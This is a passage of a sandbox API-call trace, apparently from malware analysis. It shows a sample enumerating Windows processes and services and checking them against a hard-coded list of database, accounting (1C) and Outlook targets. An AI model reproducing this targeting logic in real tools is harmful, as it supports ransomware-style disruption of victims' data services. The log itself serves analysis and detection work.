1 [0094.062] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0094.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0094.062] lstrlenW (lpString="RpcEptMapper") returned 12 [0094.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0094.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0094.062] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0094.062] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0094.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0094.062] lstrlenW (lpString="RpcSs") returned 5 [0094.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0094.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0094.062] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0094.062] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0094.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0094.062] lstrlenW (lpString="SamSs") returned 5 [0094.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0094.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0094.062] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0094.062] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0094.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0094.062] lstrlenW (lpString="Schedule") returned 8 [0094.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0094.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0094.062] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0094.062] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0094.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0094.062] lstrlenW (lpString="SENS") returned 4 [0094.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0094.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0094.062] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0094.062] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0094.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0094.062] lstrlenW (lpString="ShellHWDetection") returned 16 [0094.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0094.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0094.063] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0094.063] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0094.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0094.063] lstrlenW (lpString="Spooler") returned 7 [0094.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0094.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0094.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0094.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0094.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0094.063] lstrlenW (lpString="SysMain") returned 7 [0094.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0094.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0094.063] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0094.063] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0094.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0094.063] lstrlenW (lpString="Themes") returned 6 [0094.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0094.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0094.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0094.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0094.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0094.063] lstrlenW (lpString="TrkWks") returned 6 [0094.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0094.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0094.063] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0094.063] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0094.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0094.063] lstrlenW (lpString="UxSms") returned 5 [0094.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0094.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0094.063] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0094.063] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0094.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0094.063] lstrlenW (lpString="Winmgmt") returned 7 [0094.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0094.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0094.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0094.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0094.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0094.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4089028 | out: hHeap=0x4f0000) returned 1 [0094.063] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x194 [0094.065] Process32FirstW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0094.065] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0094.065] lstrlenW (lpString="System") returned 6 [0094.065] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0094.065] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0094.065] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0094.065] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0094.065] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0094.065] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0094.065] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0094.065] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0094.066] lstrlenW (lpString="smss.exe") returned 8 [0094.066] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0094.066] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0094.066] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0094.066] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0094.066] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0094.066] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0094.066] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0094.066] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0094.066] lstrlenW (lpString="csrss.exe") returned 9 [0094.066] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0094.066] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0094.066] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0094.066] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0094.066] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0094.066] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0094.066] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0094.066] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0094.066] lstrlenW (lpString="wininit.exe") returned 11 [0094.066] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0094.066] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0094.066] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0094.067] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0094.067] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0094.067] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0094.067] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0094.067] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0094.067] lstrlenW (lpString="csrss.exe") returned 9 [0094.067] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0094.067] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0094.067] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0094.067] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0094.067] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0094.067] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0094.067] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0094.067] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0094.067] lstrlenW (lpString="winlogon.exe") returned 12 [0094.067] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0094.067] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0094.067] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0094.067] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0094.067] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0094.067] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0094.067] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0094.067] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0094.068] lstrlenW (lpString="services.exe") returned 12 [0094.068] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0094.068] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0094.068] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0094.068] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0094.068] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0094.068] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0094.068] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0094.068] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0094.068] lstrlenW (lpString="lsass.exe") returned 9 [0094.068] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0094.068] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0094.068] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0094.068] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0094.068] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0094.068] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0094.068] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0094.068] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0094.068] lstrlenW (lpString="lsm.exe") returned 7 [0094.068] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0094.068] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0094.069] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0094.069] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0094.069] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0094.069] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0094.069] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0094.069] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.069] lstrlenW (lpString="svchost.exe") returned 11 [0094.069] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0094.069] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0094.069] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0094.069] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0094.069] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0094.069] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0094.069] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.069] lstrlenW (lpString="svchost.exe") returned 11 [0094.069] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.070] lstrlenW (lpString="svchost.exe") returned 11 [0094.070] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.070] lstrlenW (lpString="svchost.exe") returned 11 [0094.070] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.070] lstrlenW (lpString="svchost.exe") returned 11 [0094.070] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0094.070] lstrlenW (lpString="audiodg.exe") returned 11 [0094.070] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.071] lstrlenW (lpString="svchost.exe") returned 11 [0094.071] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.071] lstrlenW (lpString="svchost.exe") returned 11 [0094.071] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0094.071] lstrlenW (lpString="userinit.exe") returned 12 [0094.071] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0094.071] lstrlenW (lpString="dwm.exe") returned 7 [0094.071] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0094.071] lstrlenW (lpString="explorer.exe") returned 12 [0094.072] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0094.072] lstrlenW (lpString="spoolsv.exe") returned 11 [0094.072] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0094.072] lstrlenW (lpString="taskhost.exe") returned 12 [0094.072] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.072] lstrlenW (lpString="svchost.exe") returned 11 [0094.072] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0094.073] lstrlenW (lpString="payload.exe") returned 11 [0094.073] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0094.073] lstrlenW (lpString="reader_sl.exe") returned 13 [0094.073] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0094.073] lstrlenW (lpString="dllhost.exe") returned 11 [0094.073] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0094.073] CloseHandle (hObject=0x194) returned 1 [0094.073] Sleep (dwMilliseconds=0x1f4) [0094.819] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab70f8 [0094.819] EnumServicesStatusExW (in: hSCManager=0x3ab70f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0094.819] GetLastError () returned 0xea [0094.819] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe90) returned 0x4089028 [0094.819] EnumServicesStatusExW (in: hSCManager=0x3ab70f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4089028, cbBufSize=0xe90, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4089028, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0094.820] CloseServiceHandle (hSCObject=0x3ab70f8) returned 1 [0094.820] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0094.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0094.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0094.820] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0094.820] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0094.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0094.820] lstrlenW (lpString="AudioSrv") returned 8 [0094.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0094.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0094.820] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0094.820] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0094.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0094.820] lstrlenW (lpString="BFE") returned 3 [0094.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0094.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0094.820] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0094.820] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0094.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0094.820] lstrlenW (lpString="CryptSvc") returned 8 [0094.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0094.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0094.820] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0094.820] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0094.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0094.820] lstrlenW (lpString="CscService") returned 10 [0094.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0094.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0094.820] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0094.820] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0094.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0094.820] lstrlenW (lpString="DcomLaunch") returned 10 [0094.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0094.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0094.820] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0094.820] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0094.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0094.820] lstrlenW (lpString="Dhcp") returned 4 [0094.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0094.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0094.820] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0094.820] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0094.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0094.821] lstrlenW (lpString="Dnscache") returned 8 [0094.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0094.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0094.821] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0094.821] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0094.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0094.821] lstrlenW 